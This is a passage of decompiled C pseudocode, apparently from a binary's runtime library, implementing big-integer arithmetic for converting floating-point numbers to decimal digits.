											if(_t1110 != 0x73) {
												L65:
												_t1067 = 0;
												__eflags = 0;
											} else {
												__eflags = _v1868 - _t1147;
												if(_v1868 <= _t1147) {
													goto L65;
												} else {
													_t1067 = 1;
												}
											}
											__eflags = _t1110 - 0x73;
											if(_t1110 > 0x73) {
												L87:
												__eflags = 0;
												_t995 = 0x1cc;
												_push(0);
												_v1400 = 0;
												_v472 = 0;
												_push( &_v1396);
												_push(0x1cc);
												_push( &_v468);
												L315();
												_t1200 =  &(_t1200[4]);
											} else {
												__eflags = _t1067;
												if(_t1067 != 0) {
													goto L87;
												} else {
													__eflags = _t1110 - 0x72;
													if(_t1110 >= 0x72) {
														_t1110 = 0x72;
														_v1892 = _t1110;
													}
													_t1068 = _t1110;
													_v1896 = _t1068;
													__eflags = _t1110 - 0xffffffff;
													if(_t1110 != 0xffffffff) {
														_t1150 = _v1876;
														_t1193 = _t1110 - _t1150;
														__eflags = _t1193;
														_t1112 =  &_v468 + _t1193 * 4;
														while(1) {
															__eflags = _t1068 - _t1150;
															if(_t1068 < _t1150) {
																break;
															}
															__eflags = _t1193 - _t991;
															if(_t1193 >= _t991) {
																_t954 = 0;
																__eflags = 0;
															} else {
																_t954 =  *_t1112;
															}
															_v1872 = _t954;
															__eflags = _t1193 - 1 - _t991;
															if(_t1193 - 1 >= _t991) {
																_t956 = 0;
																__eflags = 0;
															} else {
																_t956 =  *(_t1112 - 4);
															}
															_t1112 = _t1112 - 4;
															_t1073 = _v1896;
															 *(_t1198 + _t1073 * 4 - 0x1d0) = (_t956 & _v1884) >> _v1888 | (_v1872 & _v1908) << _v1868;
															_t1068 = _t1073 - 1;
															_t1193 = _t1193 - 1;
															_v1896 = _t1068;
															__eflags = _t1068 - 0xffffffff;
															if(_t1068 != 0xffffffff) {
																_t991 = _v472;
																continue;
															}
															break;
														}
														_t1147 = _v1880;
														_t1110 = _v1892;
														_t1191 = _v1876;
													}
													__eflags = _t1191;
													if(_t1191 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1191 << 2);
														_t1200 =  &(_t1200[3]);
														_t1147 = _v1880;
													}
													_t995 = 0x1cc;
													__eflags = _v1868 - _t1147;
													if(_v1868 <= _t1147) {
														_v472 = _t1110;
													} else {
														_v472 = _t1110 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = 2;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1074 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1198 + _t1074 - 0x570)) -  *((intOrPtr*)(_t1198 + _t1074 - 0x1d0));
												if( *((intOrPtr*)(_t1198 + _t1074 - 0x570)) !=  *((intOrPtr*)(_t1198 + _t1074 - 0x1d0))) {
													goto L59;
												}
												_t1074 = _t1074 + 4;
												__eflags = _t1074 - 8;
												if(_t1074 != 8) {
													continue;
												} else {
													_t961 = _t1091 - 0x431;
													_t962 = _t961 & 0x0000001f;
													_t1195 = _t961 >> 5;
													_v1868 = _t962;
													_v1872 = _t1195;
													_v1908 = _t1124 - _t962;
													_t966 = E00C95BA0(1, _t1124 - _t962, 0) - 1;
													_t61 =  &_v1912;
													 *_t61 = _v1912 & 0x00000000;
													__eflags =  *_t61;
													_v1884 = _t966;
													_t967 =  !_t966;
													_v1888 = _t967;
													asm("bsr eax, ecx");
													if( *_t61 == 0) {
														_t968 = 0;
														__eflags = 0;
													} else {
														_t968 = _t967 + 1;
													}
													_t1114 = _t991 + _t1195;
													_t1151 = _t1124 - _t968;
													_v1880 = _t1151;
													_v1896 = _t1114;
													__eflags = _t1114 - 0x73;
													if(_t1114 != 0x73) {
														L34:
														_t1078 = 0;
														__eflags = 0;
													} else {
														__eflags = _v1868 - _t1151;
														if(_v1868 <= _t1151) {
															goto L34;
														} else {
															_t1078 = 1;
														}
													}
													__eflags = _t1114 - 0x73;
													if(_t1114 > 0x73) {
														L56:
														__eflags = 0;
														_t995 = 0x1cc;
														_push(0);
														_v1400 = 0;
														_v472 = 0;
														_push( &_v1396);
														_push(0x1cc);
														_push( &_v468);
														L315();
														_t1200 =  &(_t1200[4]);
													} else {
														__eflags = _t1078;
														if(_t1078 != 0) {
															goto L56;
														} else {
															__eflags = _t1114 - 0x72;
															if(_t1114 >= 0x72) {
																_t1114 = 0x72;
																_v1896 = _t1114;
															}
															_t1081 = _t1114;
															_v1892 = _t1081;
															__eflags = _t1114 - 0xffffffff;
															if(_t1114 != 0xffffffff) {
																_t1154 = _v1872;
																_t1197 = _t1114 - _t1154;
																__eflags = _t1197;
																_t1116 =  &_v468 + _t1197 * 4;
																while(1) {
																	__eflags = _t1081 - _t1154;
																	if(_t1081 < _t1154) {
																		break;
																	}
																	__eflags = _t1197 - _t991;
																	if(_t1197 >= _t991) {
																		_t976 = 0;
																		__eflags = 0;
																	} else {
																		_t976 =  *_t1116;
																	}
																	_v1876 = _t976;
																	__eflags = _t1197 - 1 - _t991;
																	if(_t1197 - 1 >= _t991) {
																		_t978 = 0;
																		__eflags = 0;
																	} else {
																		_t978 =  *(_t1116 - 4);
																	}
																	_t1116 = _t1116 - 4;
																	_t1086 = _v1892;
																	 *(_t1198 + _t1086 * 4 - 0x1d0) = (_t978 & _v1888) >> _v1908 | (_v1876 & _v1884) << _v1868;
																	_t1081 = _t1086 - 1;
																	_t1197 = _t1197 - 1;
																	_v1892 = _t1081;
																	__eflags = _t1081 - 0xffffffff;
																	if(_t1081 != 0xffffffff) {
																		_t991 = _v472;
																		continue;
																	}
																	break;
																}
																_t1114 = _v1896;
																_t1151 = _v1880;
																_t1195 = _v1872;
															}
															__eflags = _t1195;
															if(_t1195 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1195 << 2);
																_t1200 =  &(_t1200[3]);
																_t1151 = _v1880;
															}
															_t995 = 0x1cc;
															__eflags = _v1868 - _t1151;
															if(_v1868 <= _t1151) {
																_v472 = _t1114;
															} else {
																_v472 = _t1114 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t972 = 4;
													__eflags = 1;
													_v1396 = _t972;
													_v1400 = 1;
													_v936 = 1;
													_push(_t972);
												}
												goto L58;
											}
											goto L59;
										}
										L58:
										_push( &_v1396);
										_push(_t995);
										_push( &_v932);
										L315();
										_t1204 =  &(_t1200[4]);
									}
									_t779 = _v1900;
									_t1034 = 0xa;
									_v1888 = _t1034;
									__eflags = _t779;
									if(_t779 < 0) {
										_t780 =  ~_t779;
										_t781 = _t780 / _t1034;
										_t1089 = _t780 % _t1034;
										_v1892 = _t781;
										_t1035 = _t780 % _t1034;
										_v1912 = _t1035;
										__eflags = _t781;
										if(_t781 == 0) {
											L249:
											__eflags = _t1035;
											if(_t1035 != 0) {
												_t815 =  *(0xc9dd84 + _t1035 * 4);
												_v1912 = _t815;
												__eflags = _t815;
												if(_t815 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t815 - 1;
													if(_t815 != 1) {
														_t1046 = _v472;
														__eflags = _t1046;
														if(_t1046 != 0) {
															_t1133 = 0;
															_t1173 = 0;
															__eflags = 0;
															do {
																_t1089 = _t815 *  *(_t1198 + _t1173 * 4 - 0x1d0) >> 0x20;
																 *(_t1198 + _t1173 * 4 - 0x1d0) = _t815 *  *(_t1198 + _t1173 * 4 - 0x1d0) + _t1133;
																_t815 = _v1912;
																asm("adc edx, 0x0");
																_t1173 = _t1173 + 1;
																_t1133 = _t1089;
																__eflags = _t1173 - _t1046;
															} while (_t1173 != _t1046);
															__eflags = _t1133;
															if(_t1133 != 0) {
																_t821 = _v472;
																__eflags = _t821 - 0x73;
																if(_t821 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1198 + _t821 * 4 - 0x1d0) = _t1133;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t781 - 0x26;
												if(_t781 > 0x26) {
													_t781 = 0x26;
												}
												_t1047 =  *(0xc9dcee + _t781 * 4) & 0x000000ff;
												_v1868 = _t781;
												_v1400 = ( *(0xc9dcee + _t781 * 4) & 0x000000ff) + ( *(0xc9dcef + _t781 * 4) & 0x000000ff);
												E00C583F0(_t1047 << 2,  &_v1396, 0, _t1047 << 2);
												_t832 = E00C60230( &(( &_v1396)[_t1047]), 0xc9d3e8 + ( *(0xc9dcec + _v1868 * 4) & 0x0000ffff) * 4, ( *(0xc9dcef + _t781 * 4) & 0x000000ff) << 2);
												_t1136 = _v1400;
												_t1204 =  &(_t1204[6]);
												__eflags = _t1136 - 1;
												if(_t1136 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1136 - _v472;
														_t1089 =  &_v1396;
														_t499 = _t1136 - _v472 > 0;
														__eflags = _t499;
														_t833 = _t832 & 0xffffff00 | _t499;
														if(_t499 >= 0) {
															_t1089 =  &_v468;
														}
														_v1876 = _t1089;
														_t1048 =  &_v468;
														__eflags = _t833;
														if(_t833 == 0) {
															_t1048 =  &_v1396;
														}
														_v1908 = _t1048;
														__eflags = _t833;
														if(_t833 == 0) {
															_t1049 = _v472;
															_v1896 = _t1049;
														} else {
															_t1049 = _t1136;
															_v1896 = _t1136;
														}
														__eflags = _t833;
														if(_t833 != 0) {
															_t1136 = _v472;
														}
														_t834 = 0;
														_t1175 = 0;
														_v1864 = 0;
														__eflags = _t1049;
														if(_t1049 == 0) {
															L243:
															_v472 = _t834;
															_t835 = _t834 << 2;
															__eflags = _t835;
															_push(_t835);
															_t836 =  &_v1860;
															goto L244;
														} else {
															do {
																__eflags =  *(_t1089 + _t1175 * 4);
																if( *(_t1089 + _t1175 * 4) != 0) {
																	_t1089 = 0;
																	_t1050 = _t1175;
																	_v1880 = _v1880 & 0;
																	_v1872 = 0;
																	__eflags = _t1136;
																	if(_t1136 == 0) {
																		L240:
																		__eflags = _t1050 - 0x73;
																		if(_t1050 == 0x73) {
																			goto L258;
																		} else {
																			_t1049 = _v1896;
																			_t1089 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1050 - 0x73;
																			if(_t1050 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1050 - _t834;
																			if(_t1050 == _t834) {
																				 *(_t1198 + _t1050 * 4 - 0x740) =  *(_t1198 + _t1050 * 4 - 0x740) & 0x00000000;
																				_t852 = _v1880 + 1 + _t1175;
																				__eflags = _t852;
																				_v1864 = _t852;
																			}
																			_t845 =  *(_v1908 + _v1880 * 4);
																			_t1101 = _v1876;
																			_t1089 = _t845 *  *(_t1101 + _t1175 * 4) >> 0x20;
																			asm("adc edx, 0x0");
																			 *(_t1198 + _t1050 * 4 - 0x740) =  *(_t1198 + _t1050 * 4 - 0x740) + _t845 *  *(_t1101 + _t1175 * 4) + _v1872;
																			asm("adc edx, 0x0");
																			_t849 = _v1880 + 1;
																			_t1050 = _t1050 + 1;
																			_v1880 = _t849;
																			__eflags = _t849 - _t1136;
																			_v1872 = _t1089;
																			_t834 = _v1864;
																			if(_t849 != _t1136) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1089;
																				if(_t1089 == 0) {
																					goto L240;
																				}
																				__eflags = _t1050 - 0x73;
																				if(_t1050 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1050 - _t834;
																					if(_t1050 == _t834) {
																						_t555 = _t1198 + _t1050 * 4 - 0x740;
																						 *_t555 =  *(_t1198 + _t1050 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t555;
																						_t561 = _t1050 + 1; // 0x1
																						_v1864 = _t561;
																					}
																					_t843 = _t1089;
																					_t1089 = 0;
																					 *(_t1198 + _t1050 * 4 - 0x740) =  *(_t1198 + _t1050 * 4 - 0x740) + _t843;
																					_t834 = _v1864;
																					asm("adc edx, edx");
																					_t1050 = _t1050 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1175 - _t834;
																	if(_t1175 == _t834) {
																		 *(_t1198 + _t1175 * 4 - 0x740) =  *(_t1198 + _t1175 * 4 - 0x740) & 0x00000000;
																		_t518 = _t1175 + 1; // 0x1
																		_t834 = _t518;
																		_v1864 = _t834;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1175 = _t1175 + 1;
																__eflags = _t1175 - _t1049;
															} while (_t1175 != _t1049);
															goto L243;
														}
													} else {
														_t1176 = _v468;
														_push(_t1136 << 2);
														_v1928 = _t1176;
														_push( &_v1396);
														_v472 = _t1136;
														_push(_t995);
														_push( &_v468);
														L315();
														_t1204 =  &(_t1204[4]);
														__eflags = _t1176;
														if(_t1176 == 0) {
															goto L202;
														} else {
															__eflags = _t1176 - 1;
															if(_t1176 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1051 = 0;
																	_t1137 = _v1928;
																	_t1177 = 0;
																	__eflags = 0;
																	_t1003 = _v472;
																	do {
																		_t860 = _t1137;
																		_t1089 = _t860 *  *(_t1198 + _t1177 * 4 - 0x1d0) >> 0x20;
																		 *(_t1198 + _t1177 * 4 - 0x1d0) = _t860 *  *(_t1198 + _t1177 * 4 - 0x1d0) + _t1051;
																		asm("adc edx, 0x0");
																		_t1177 = _t1177 + 1;
																		_t1051 = _t1089;
																		__eflags = _t1177 - _t1003;
																	} while (_t1177 != _t1003);
																	goto L207;
																}
															}
														}
													}
												} else {
													_t1138 = _v1396;
													__eflags = _t1138;
													if(_t1138 != 0) {
														__eflags = _t1138 - 1;
														if(_t1138 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1052 = 0;
																_t1178 = 0;
																__eflags = 0;
																_t1002 = _v472;
																do {
																	_t865 = _t1138;
																	_t1089 = _t865 *  *(_t1198 + _t1178 * 4 - 0x1d0) >> 0x20;
																	 *(_t1198 + _t1178 * 4 - 0x1d0) = _t865 *  *(_t1198 + _t1178 * 4 - 0x1d0) + _t1052;
																	asm("adc edx, 0x0");
																	_t1178 = _t1178 + 1;
																	_t1052 = _t1089;
																	__eflags = _t1178 - _t1002;
																} while (_t1178 != _t1002);
																L207:
																_t995 = 0x1cc;
																__eflags = _t1051;
																if(_t1051 == 0) {
																	goto L245;
																} else {
																	_t863 = _v472;
																	__eflags = _t863 - 0x73;
																	if(_t863 >= 0x73) {
																		L258:
																		_push(0);
																		_v2408 = 0;
																		_v472 = 0;
																		_push( &_v2404);
																		_push(_t995);
																		_push( &_v468);
																		L315();
																		_t1204 =  &(_t1204[4]);
																		_t838 = 0;
																	} else {
																		 *(_t1198 + _t863 * 4 - 0x1d0) = _t1051;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L202:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t836 =  &_v2404;
														L244:
														_push(_t836);
														_push(_t995);
														_push( &_v468);
														L315();
														_t1204 =  &(_t1204[4]);
														L245:
														_t838 = 1;
													}
												}
												L246:
												__eflags = _t838;
												if(_t838 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t818 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t781 = _v1892 - _v1868;
												__eflags = _t781;
												_v1892 = _t781;
											} while (_t781 != 0);
											_t1035 = _v1912;
											goto L249;
										}
									} else {
										_t868 = _t779 / _t1034;
										_t1089 = _t779 % _t1034;
										_v1908 = _t868;
										_t1053 = _t779 % _t1034;
										_v1928 = _t1053;
										__eflags = _t868;
										if(_t868 == 0) {
											L183:
											__eflags = _t1053;
											if(_t1053 != 0) {
												_t869 =  *(0xc9dd84 + _t1053 * 4);
												_v1928 = _t869;
												__eflags = _t869;
												if(_t869 != 0) {
													__eflags = _t869 - 1;
													if(_t869 != 1) {
														_t1054 = _v936;
														__eflags = _t1054;
														if(_t1054 != 0) {
															_t1139 = 0;
															_t1179 = 0;
															__eflags = 0;
															do {
																_t1089 = _t869 *  *(_t1198 + _t1179 * 4 - 0x3a0) >> 0x20;
																 *(_t1198 + _t1179 * 4 - 0x3a0) = _t869 *  *(_t1198 + _t1179 * 4 - 0x3a0) + _t1139;
																_t869 = _v1928;
																asm("adc edx, 0x0");
																_t1179 = _t1179 + 1;
																_t1139 = _t1089;
																__eflags = _t1179 - _t1054;
															} while (_t1179 != _t1054);
															__eflags = _t1139;
															if(_t1139 != 0) {
																_t872 = _v936;
																__eflags = _t872 - 0x73;
																if(_t872 >= 0x73) {
																	goto L185;
																} else {
																	 *(_t1198 + _t872 * 4 - 0x3a0) = _t1139;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L185:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L189;
												}
											}
										} else {
											do {
												__eflags = _t868 - 0x26;
												if(_t868 > 0x26) {
													_t868 = 0x26;
												}
												_t1055 =  *(0xc9dcee + _t868 * 4) & 0x000000ff;
												_v1876 = _t868;
												_v1400 = ( *(0xc9dcee + _t868 * 4) & 0x000000ff) + ( *(0xc9dcef + _t868 * 4) & 0x000000ff);
												E00C583F0(_t1055 << 2,  &_v1396, 0, _t1055 << 2);
												_t885 = E00C60230( &(( &_v1396)[_t1055]), 0xc9d3e8 + ( *(0xc9dcec + _v1876 * 4) & 0x0000ffff) * 4, ( *(0xc9dcef + _t868 * 4) & 0x000000ff) << 2);
												_t1142 = _v1400;
												_t1204 =  &(_t1204[6]);
												__eflags = _t1142 - 1;
												if(_t1142 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1142 - _v936;
														_t1089 =  &_v1396;
														_t312 = _t1142 - _v936 > 0;
														__eflags = _t312;
														_t886 = _t885 & 0xffffff00 | _t312;
														if(_t312 >= 0) {
															_t1089 =  &_v932;
														}
														_v1868 = _t1089;
														_t1056 =  &_v932;
														__eflags = _t886;
														if(_t886 == 0) {
															_t1056 =  &_v1396;
														}
														_v1872 = _t1056;
														__eflags = _t886;
														if(_t886 == 0) {
															_t1057 = _v936;
															_v1892 = _t1057;
														} else {
															_t1057 = _t1142;
															_v1892 = _t1142;
														}
														__eflags = _t886;
														if(_t886 != 0) {
															_t1142 = _v936;
														}
														_t887 = 0;
														_t1181 = 0;
														_v1864 = 0;
														__eflags = _t1057;
														if(_t1057 == 0) {
															L176:
															_v936 = _t887;
															_t888 = _t887 << 2;
															__eflags = _t888;
															goto L177;
														} else {
															do {
																__eflags =  *(_t1089 + _t1181 * 4);
																if( *(_t1089 + _t1181 * 4) != 0) {
																	_t1089 = 0;
																	_t1058 = _t1181;
																	_v1880 = _v1880 & 0;
																	_v1896 = 0;
																	__eflags = _t1142;
																	if(_t1142 == 0) {
																		L173:
																		__eflags = _t1058 - 0x73;
																		if(_t1058 == 0x73) {
																			goto L186;
																		} else {
																			_t1057 = _v1892;
																			_t1089 = _v1868;
																			goto L175;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1058 - 0x73;
																			if(_t1058 == 0x73) {
																				goto L168;
																			}
																			__eflags = _t1058 - _t887;
																			if(_t1058 == _t887) {
																				 *(_t1198 + _t1058 * 4 - 0x740) =  *(_t1198 + _t1058 * 4 - 0x740) & 0x00000000;
																				_t905 = _v1880 + 1 + _t1181;
																				__eflags = _t905;
																				_v1864 = _t905;
																			}
																			_t898 =  *(_v1872 + _v1880 * 4);
																			_t1103 = _v1868;
																			_t1089 = _t898 *  *(_t1103 + _t1181 * 4) >> 0x20;
																			asm("adc edx, 0x0");
																			 *(_t1198 + _t1058 * 4 - 0x740) =  *(_t1198 + _t1058 * 4 - 0x740) + _t898 *  *(_t1103 + _t1181 * 4) + _v1896;
																			asm("adc edx, 0x0");
																			_t902 = _v1880 + 1;
																			_t1058 = _t1058 + 1;
																			_v1880 = _t902;
																			__eflags = _t902 - _t1142;
																			_v1896 = _t1089;
																			_t887 = _v1864;
																			if(_t902 != _t1142) {
																				continue;
																			} else {
																				goto L168;
																			}
																			while(1) {
																				L168:
																				__eflags = _t1089;
																				if(_t1089 == 0) {
																					goto L173;
																				}
																				__eflags = _t1058 - 0x73;
																				if(_t1058 == 0x73) {
																					L186:
																					__eflags = 0;
																					_v2408 = 0;
																					_v936 = 0;
																					_push(0);
																					_t894 =  &_v2404;
																					goto L187;
																				} else {
																					__eflags = _t1058 - _t887;
																					if(_t1058 == _t887) {
																						_t368 = _t1198 + _t1058 * 4 - 0x740;
																						 *_t368 =  *(_t1198 + _t1058 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t368;
																						_t374 = _t1058 + 1; // 0x1
																						_v1864 = _t374;
																					}
																					_t896 = _t1089;
																					_t1089 = 0;
																					 *(_t1198 + _t1058 * 4 - 0x740) =  *(_t1198 + _t1058 * 4 - 0x740) + _t896;
																					_t887 = _v1864;
																					asm("adc edx, edx");
																					_t1058 = _t1058 + 1;
																					continue;
																				}
																				goto L180;
																			}
																			goto L173;
																		}
																		goto L168;
																	}
																} else {
																	__eflags = _t1181 - _t887;
																	if(_t1181 == _t887) {
																		 *(_t1198 + _t1181 * 4 - 0x740) =  *(_t1198 + _t1181 * 4 - 0x740) & 0x00000000;
																		_t331 = _t1181 + 1; // 0x1
																		_t887 = _t331;
																		_v1864 = _t887;
																	}
																	goto L175;
																}
																goto L180;
																L175:
																_t1181 = _t1181 + 1;
																__eflags = _t1181 - _t1057;
															} while (_t1181 != _t1057);
															goto L176;
														}
													} else {
														_t1182 = _v932;
														_push(_t1142 << 2);
														_v1884 = _t1182;
														_push( &_v1396);
														_v936 = _t1142;
														_push(_t995);
														_push( &_v932);
														L315();
														_t1204 =  &(_t1204[4]);
														__eflags = _t1182;
														if(_t1182 != 0) {
															__eflags = _t1182 - 1;
															if(_t1182 == 1) {
																goto L179;
															} else {
																__eflags = _v936;
																if(_v936 == 0) {
																	goto L179;
																} else {
																	_t1059 = 0;
																	_t1143 = _v1884;
																	_t1183 = 0;
																	__eflags = 0;
																	_t1005 = _v936;
																	do {
																		_t912 = _t1143;
																		_t1089 = _t912 *  *(_t1198 + _t1183 * 4 - 0x3a0) >> 0x20;
																		 *(_t1198 + _t1183 * 4 - 0x3a0) = _t912 *  *(_t1198 + _t1183 * 4 - 0x3a0) + _t1059;
																		asm("adc edx, 0x0");
																		_t1183 = _t1183 + 1;
																		_t1059 = _t1089;
																		__eflags = _t1183 - _t1005;
																	} while (_t1183 != _t1005);
																	goto L147;
																}
															}
														} else {
															_v1400 = 0;
															_v936 = 0;
															_push(0);
															_t889 =  &_v1396;
															goto L178;
														}
													}
												} else {
													_t1144 = _v1396;
													__eflags = _t1144;
													if(_t1144 != 0) {
														__eflags = _t1144 - 1;
														if(_t1144 == 1) {
															goto L179;
														} else {
															__eflags = _v936;
															if(_v936 == 0) {
																goto L179;
															} else {
																_t1060 = 0;
																_t1184 = 0;
																__eflags = 0;
																_t1004 = _v936;
																do {
																	_t919 = _t1144;
																	_t1089 = _t919 *  *(_t1198 + _t1184 * 4 - 0x3a0) >> 0x20;
																	 *(_t1198 + _t1184 * 4 - 0x3a0) = _t919 *  *(_t1198 + _t1184 * 4 - 0x3a0) + _t1060;
																	asm("adc edx, 0x0");
																	_t1184 = _t1184 + 1;
																	_t1060 = _t1089;
																	__eflags = _t1184 - _t1004;
																} while (_t1184 != _t1004);
																L147:
																_t995 = 0x1cc;
																__eflags = _t1059;
																if(_t1059 == 0) {
																	goto L179;
																} else {
																	_t915 = _v936;
																	__eflags = _t915 - 0x73;
																	if(_t915 < 0x73) {
																		 *(_t1198 + _t915 * 4 - 0x3a0) = _t1059;
																		_v936 = _v936 + 1;
																		goto L179;
																	} else {
																		_v1400 = 0;
																		_v936 = 0;
																		_push(0);
																		_t894 =  &_v1396;
																		L187:
																		_push(_t894);
																		_push(_t995);
																		_push( &_v932);
																		L315();
																		_t1204 =  &(_t1204[4]);
																		_t891 = 0;
																	}
																}
															}
														}
													} else {
														_t888 = 0;
														_v1864 = 0;
														_v936 = 0;
														L177:
														_push(_t888);
														_t889 =  &_v1860;
														L178:
														_push(_t889);
														_push(_t995);
														_push( &_v932);
														L315();
														_t1204 =  &(_t1204[4]);
														L179:
														_t891 = 1;
													}
												}
												L180:
												__eflags = _t891;
												if(_t891 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_t403 =  &_v936;
													 *_t403 = _v936 & 0x00000000;
													__eflags =  *_t403;
													_push(0);
													L189:
													_push( &_v2404);
													_t818 =  &_v932;
													L262:
													_push(_t995);
													_push(_t818);
													L315();
													_t1204 =  &(_t1204[4]);
												} else {
													goto L181;
												}
												goto L263;
												L181:
												_t868 = _v1908 - _v1876;
												__eflags = _t868;
												_v1908 = _t868;
											} while (_t868 != 0);
											_t1053 = _v1928;
											goto L183;
										}
									}
									L263:
									_t1128 = _v1904;
									_t1170 = _t1128;
									_t1036 = _v472;
									_v1876 = _t1170;
									__eflags = _t1036;
									if(_t1036 != 0) {
										_t1172 = 0;
										_t1132 = 0;
										__eflags = 0;
										_t1000 = 0xa;
										do {
											_t808 =  *(_t1198 + _t1132 * 4 - 0x1d0);
											_t1089 = _t808 * _t1000 >> 0x20;
											 *(_t1198 + _t1132 * 4 - 0x1d0) = _t808 * _t1000 + _t1172;
											asm("adc edx, 0x0");
											_t1132 = _t1132 + 1;
											_t1172 = _t1089;
											__eflags = _t1132 - _t1036;
										} while (_t1132 != _t1036);
										_v1912 = _t1172;
										__eflags = _t1172;
										_t1170 = _v1876;
										if(_t1172 != 0) {
											_t1045 = _v472;
											__eflags = _t1045 - 0x73;
											if(_t1045 >= 0x73) {
												__eflags = 0;
												_push(0);
												_v2408 = 0;
												_v472 = 0;
												_push( &_v2404);
												_push(0x1cc);
												_push( &_v468);
												L315();
												_t1204 =  &(_t1204[4]);
											} else {
												 *(_t1198 + _t1045 * 4 - 0x1d0) = _t1089;
												_v472 = _v472 + 1;
											}
										}
										_t1128 = _t1170;
									}
									_t784 = E00C8BC80( &_v472,  &_v936);
									__eflags = _t784 - 0xa;
									if(_t784 != 0xa) {
										__eflags = _t784;
										if(_t784 != 0) {
											_t785 = _t784 + 0x30;
											__eflags = _t785;
											_t1170 = _t1128 + 1;
											 *_t1128 = _t785;
											goto L282;
										} else {
											_t786 = _v1900 - 1;
										}
									} else {
										_v1900 = _v1900 + 1;
										_t1170 = _t1128 + 1;
										_t800 = _v936;
										 *_t1128 = 0x31;
										_v1876 = _t1170;
										__eflags = _t800;
										if(_t800 != 0) {
											_t1131 = 0;
											_t1171 = _t800;
											_t1044 = 0;
											__eflags = 0;
											_t998 = 0xa;
											do {
												_t801 =  *(_t1198 + _t1044 * 4 - 0x3a0);
												_t1089 = _t801 * _t998 >> 0x20;
												 *(_t1198 + _t1044 * 4 - 0x3a0) = _t801 * _t998 + _t1131;
												asm("adc edx, 0x0");
												_t1044 = _t1044 + 1;
												_t1131 = _t801 * _t998 >> 0x20;
												__eflags = _t1044 - _t1171;
											} while (_t1044 != _t1171);
											_t1170 = _v1876;
											__eflags = _t1131;
											if(_t1131 != 0) {
												_t804 = _v936;
												__eflags = _t804 - 0x73;
												if(_t804 >= 0x73) {
													_push(0);
													_v2408 = 0;
													_v936 = 0;
													_push( &_v2404);
													_push(0x1cc);
													_push( &_v932);
													L315();
													_t1204 =  &(_t1204[4]);
												} else {
													 *(_t1198 + _t804 * 4 - 0x3a0) = _t1131;
													_v936 = _v936 + 1;
												}
											}
										}
										L282:
										_t786 = _v1900;
									}
									 *(_v1924 + 4) = _t786;
									_t1022 = _v1920;
									__eflags = _t786;
									if(_t786 >= 0) {
										__eflags = _t1022 - 0x7fffffff;
										if(_t1022 <= 0x7fffffff) {
											_t1022 = _t1022 + _t786;
											__eflags = _t1022;
										}
									}
									_t788 = _a24 - 1;
									__eflags = _t788 - _t1022;
									if(_t788 >= _t1022) {
										_t788 = _t1022;
									}
									_t736 = _t788 + _v1904;
									_v1920 = _t736;
									__eflags = _t1170 - _t736;
									if(__eflags != 0) {
										while(1) {
											_t736 = _v472;
											__eflags = _t736;
											if(__eflags == 0) {
												goto L303;
											}
											_t1129 = 0;
											_t996 = _t736;
											_t1040 = 0;
											__eflags = 0;
											do {
												_t789 =  *(_t1198 + _t1040 * 4 - 0x1d0);
												 *(_t1198 + _t1040 * 4 - 0x1d0) = _t789 * 0x3b9aca00 + _t1129;
												asm("adc edx, 0x0");
												_t1040 = _t1040 + 1;
												_t1129 = _t789 * 0x3b9aca00 >> 0x20;
												__eflags = _t1040 - _t996;
											} while (_t1040 != _t996);
											__eflags = _t1129;
											if(_t1129 != 0) {
												_t795 = _v472;
												__eflags = _t795 - 0x73;
												if(_t795 >= 0x73) {
													__eflags = 0;
													_push(0);
													_v2408 = 0;
													_v472 = 0;
													_push( &_v2404);
													_push(0x1cc);
													_push( &_v468);
													L315();
													_t1204 =  &(_t1204[4]);
												} else {
													 *(_t1198 + _t795 * 4 - 0x1d0) = _t1129;
													_v472 = _v472 + 1;
												}
											}
											_t794 = E00C8BC80( &_v472,  &_v936);
											_t1130 = 8;
											_t1022 = _v1920 - _t1170;
											__eflags = _t1022;
											do {
												_t703 = _t794 % _v1888;
												_t794 = _t794 / _v1888;
												_t1089 = _t703 + 0x30;
												__eflags = _t1022 - _t1130;
												if(_t1022 >= _t1130) {
													 *(_t1130 + _t1170) = _t1089;
												}
												_t1130 = _t1130 - 1;
												__eflags = _t1130 - 0xffffffff;
											} while (_t1130 != 0xffffffff);
											__eflags = _t1022 - 9;
											if(_t1022 > 9) {
												_t1022 = 9;
											}
											_t1170 = _t1170 + _t1022;
											__eflags = _t1170 - _v1920;
											if(__eflags != 0) {
												continue;
											}
											goto L303;
										}
									}
